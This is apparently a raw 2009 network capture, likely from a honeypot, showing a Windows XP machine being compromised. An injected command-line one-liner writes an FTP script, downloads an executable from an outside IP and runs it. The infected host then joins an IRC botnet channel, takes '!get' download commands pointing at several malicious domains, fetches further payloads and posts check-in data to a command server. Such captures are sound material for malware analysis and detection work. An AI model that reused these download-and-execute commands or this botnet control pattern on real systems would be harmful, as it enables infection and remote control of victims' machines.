VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
ATTACKER:	echo off&echo open 79.163.203.154 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get 23902_upload.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&23902_upload.exe&echo off&del cmd.ftp&echo onuser 
ATTACKER:	220 OK 
VICTIM:  	USER anonymous 
ATTACKER:	331 OK 
VICTIM:  	PASS bin 
ATTACKER:	230 OK 
VICTIM:  	PORT 192,168,1,181,4 
ATTACKER:	200 OK 
ATTACKER:	RETR 23902_upload.exe 
ATTACKER:	150 OK 
ATTACKER:	226 OK 
VICTIM:  	QUIT 
VICTIM:  	NICK ttcaruuwUSER e020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:m. PRIVMSG ttcaruuw :!get http:/goasi.cn/ex/a.php 
ATTACKER:	:u. PRIVMSG ttcaruuw :!get http:/cock.8866.org:88/files/adx.gif:u. PRIVMSG ttcaruuw :!get http:/dl2.guarddog2009.com/cw.exe 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	PING :m. 
ATTACKER:	NICK srupkfvhUSER n020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:m. PRIVMSG srupkfvh :!get http:/goasi.cn/ex/a.php 
ATTACKER:	:u. PRIVMSG srupkfvh :!get http:/cock.8866.org:88/files/adx.gif:u. PRIVMSG srupkfvh :!get http:/dl2.guarddog2009.com/cw.exe 
VICTIM:  	GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: goasi.cnPragma: no-cache 
ATTACKER:	GET /files/adx.gif HTTP/1.0User-Agent: DownloadHost: cock.8866.org:88Pragma: no-cache 
ATTACKER:	GET /cw.exe HTTP/1.0User-Agent: DownloadHost: dl2.guarddog2009.comPragma: no-cache 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive 
ATTACKER:	GET /dll/abb.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: brenz.plConnection: Keep-Alive 
ATTACKER:	GET / HTTP/1.0Host: www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: close 
ATTACKER:	HTTP/1.0 200 OKAllow: GET, HEADCache-Control: private, max-age=0Date: Thu, 11 Jun 2009 11:44:30 GMTExpires: -1Content-Type: text/html; charset=UTF-8Set-Cookie: PREF=ID=e1b9a48adc4ca5b0:TM=1244720670:LM=1244720670:S=EQhb5REaapR4oUn5; expires=Sat, 11-Jun-2011 11:44:30 GMT; path=/; domain=.google.comServer: gws
Web Images Video Maps News Shopping Gmail more ▼
Groups Books Scholar Finance Blogs 
YouTube Calendar Photos Documents Reader  
ATTACKER:	Sites 
even more » 
iGoogle | Sign in
A faster way to browse the web
Install Google Chrome



 

  Advanced Search
 
ATTACKER:	  Preferences
  Language Tools


Advertising Programs - Business Solutions - About Google
Make Google my homepage
©2009 - Privacy
 
VICTIM:  	POST /achcheck.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 0 
VICTIM:  	POST /ld/gen.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 108 
VICTIM:  	f=0&a=1022434792&v=09&c=0&s=ld&l=1234&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=-1&c_yb=-1&c_tg=0&c_nl=0&c_fu=-1